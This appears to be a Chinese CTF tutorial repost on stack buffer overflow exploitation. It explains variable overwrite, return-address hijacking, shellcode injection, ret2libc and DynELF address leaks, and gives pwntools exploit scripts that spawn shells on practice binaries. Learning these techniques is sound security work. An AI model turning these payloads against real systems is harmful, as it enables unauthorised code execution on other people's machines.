zoukankan      html  css  js  c++  java
  • 「干货分享」表哥亲自传授 bof 秘笈,快收藏

    今天的文章是i春秋论坛作家「HAI_」表哥原创的一篇关于bof的学习攻略,他把学习过程中感悟与心得分享给需要的小伙伴,感兴趣的童鞋快来学习吧!

     

    分类

    1、数据覆盖;

    2、返回地址函数跳转;

    3、函数覆盖调用;

    4、函数构造;

    5、off计算以及bss数据写入。

    数据覆盖

    先来解释一下数据覆盖是指什么,这里是说,通过溢出来覆写其他位置的数据,达到某种效果。一般题目比较常见的就是更改逻辑判断。

    溢出有一个东西是不变的,就是你既然要溢出,那么必然要写满才能溢出。

    那么如果判断是bof的话,第一步找到溢出点,第二步就是用无用的数据填满。

    公式:

    payload=需要覆盖垃圾数据的量+需要覆写的内容

    需要覆盖垃圾数据的量=待覆盖变量地址-溢出变量地址

    整理一下就是payload=待覆盖变量地址-溢出变量地址+需要覆写的内容

    那么按照这样子的逻辑我们来看一个例子:

     

    汇编看不懂没关系,F5也行,前期不要求。

     

    这里可以看到我们溢出点在get上,并且需要用s去覆盖a1,那么按照公式:

    待覆盖变量地址=ebp+arg_0=ebp+8

     

    溢出变量地址=ebp-2Ch

    需要覆盖垃圾数据的量=待覆盖变量地址-溢出变量地址=ebp+8-ebp-2Ch=8+2ch=34

    需要覆写的内容=0xCAFEBABE

     

    payload=34个垃圾数据+0xCAFEBABE

    这里使用pwntools进行payload的生成,自己写也没问题。

    from pwn import *
    
    payload=0x34*'A'+p32(0xCAFEBABE)
    
    print(payload)

     

    返回地址函数跳转

    1、目标提供了system函数

    这里就是说覆盖地址把返回地址之前的内容都覆盖完了,那么这里就获得了返回地址的覆写权,也可以说是操作权。

    一般什么时候会用到这个东西呢,比如说,这个程序有一个方法,但是在却没有进行调用,我们就可以通过控制返回地址来达到覆写执行的目录。

    可以简单的理解为 就是执行了一个 goto跳转。

    公式:

    payload=覆写垃圾数据+返回地址的值

    这里也来举一个例子:

     

    这里可以看到一个good_gaem函数。

     

    可以看到是读取了一个flag.txt的文件。

     

    按照公式我们来找:

    覆写垃圾数据=0x88

     

    返回地址的值=0x400620

     

    那最后的payload=0x88*'A'+0x400620

    这里还是使用pwntools来进行payload的生成

    from pwn import *
    
    payload=0x88*'A'+p64(0x400620)
    
    print(payload)

     

    2、目标没有提供system,需要自己写shellcode。

    这里就是说nx没有开启保护的情况下,就可以自己来进行shellcode的编写,一般可以写shellcode要求填充数据的位置要够。

    公式:

    payload=shellcode+(垃圾填充长度-shellcode长度)的垃圾数据+返回地址(shellcode)的地址

    还是举个例子:

     

    这里可以看到是read导致的溢出。

     

    然后这里看到打印了地址:

     

    效果大概是这样:

     

    那么我们还是按照公式来找,首先是填充字段=0x88。

     

    返回地址需要进行动态截取,就需要使用pwntools进行,shellcode也是用pwntools生成,真的是十分方便。

    from pwn import *
    sh = process("./lx3")
    shellcode = asm(shellcraft.i386.linux.sh())
    line = sh.recvline()[14:-2]
    buf_addr = int(line,16)
    payload = shellcode + 'A' * (0x88 + 0x4 - len(shellcode)) + p32(buf_addr)
    sh.send(payload)
    sh.interactive()
    sh.close()

     

    函数覆盖调用

    这里是指,在没有函数让我们进行goto跳转也就是操作返回地址的时候,就需要对函数进行主动的调用。

    公式:

    payload=覆盖垃圾地址+覆盖返回地址+函数地址+返回地址+参数1+参数2...

    这里来看一个实例:

    还是read的溢出点

     

    覆盖垃圾地址=0x88

    这里返回地址直接随便填就行

    覆盖返回地址='A'*4

    函数地址=0x0804824B

    函数地址我们ida shift+f12 看一下string

     

    这里返回地址如果没有要执行下一步的话,直接返回垃圾数据就行。

    返回地址='A'*4,参数1=/bin/sh=0x0804A024。

     

    至此我们payload是构造出来了。

    写脚本即可:

    from pwn import *
    payload=0x88*'A'+0x4*'A'+p32(0x08048320)+0x4*'A'+p32(0x0804A024)
    print(payload)

    函数构造

    上面说了函数覆盖调用,这里来说函数构造,指目标本身不包含system等命令的时候,我们需要从别的地方下手。

    我们选择从lib so库中下手,获取system等地址。

    公式:(公式和函数覆盖调用一致,只是获取方式不同)

    payload=覆盖垃圾地址+覆盖返回地址+函数地址+返回地址+参数1+参数2...

    举个例子:

     

    还是read溢出,我们开始找公式内的内容。

     

    覆盖垃圾地址=0x88

    覆盖返回地址=0x4

    这里找函数地址,找函数地址前,先找基址,这里可以看到基址为0xf7ce8000

     

    system函数地址:0x000426e0

     

    /bin/sh 参数1:

     

    最后就可以组成payload了,构造方法参考上面内容。

     

    off计算以及bss数据写入

    有一种情况就是说,没有so库,并且也没有办法获取到在线目标so库的内容,那么就需要通过write去找基址。

    公式:(公式还是这个)

    payload=覆盖垃圾地址+覆盖返回地址+函数地址+返回地址+参数1+参数2...

    可以继续用上面的例子,这里使用pwntools的DynELF获取到system地址。

    def leak(address):
            payload=junk+p32(write_addr)+p32(start_addr)+p32(1)+p32(address)+p32(4)
            p.sendline(payload)
            leak_addr=p.recv()
            return leak_addr
    
    d = DynELF(leak,elf=ELF("./lx2"))
    system_addr = d.lookup('system','libc')

    通过DynELF方式可以获取到system的地址。

    然后还需要将我们的/bin/sh加载到bss上去,这里需要使用read方法:

    payload2='a'*(0x88+0x04)+p32(read_plt)+p32(start_addr)+p32(0)+p32(bss_addr)+p32(8)
    p.send('/bin/shx00')

    这样就可以将/bin/sh写到bss字段中,最后构造成payload。

     

    以上是今天要分享的内容,大家看懂了吗?

  • 相关阅读:
    程序结束时执行
    Flex动画效果
    Flex_As操作大全
    bat文件格式
    flex builder 1037:包不能嵌套
    JAVA延时
    RMAN备份详解2
    linux系统监控示例:vmstat
    RMAN还原与恢复2(RMAN Incomplete Recovery)
    Oracle有效地使用块(1)
  • 原文地址:https://www.cnblogs.com/ichunqiu/p/13445074.html
Copyright © 2011-2022 走看看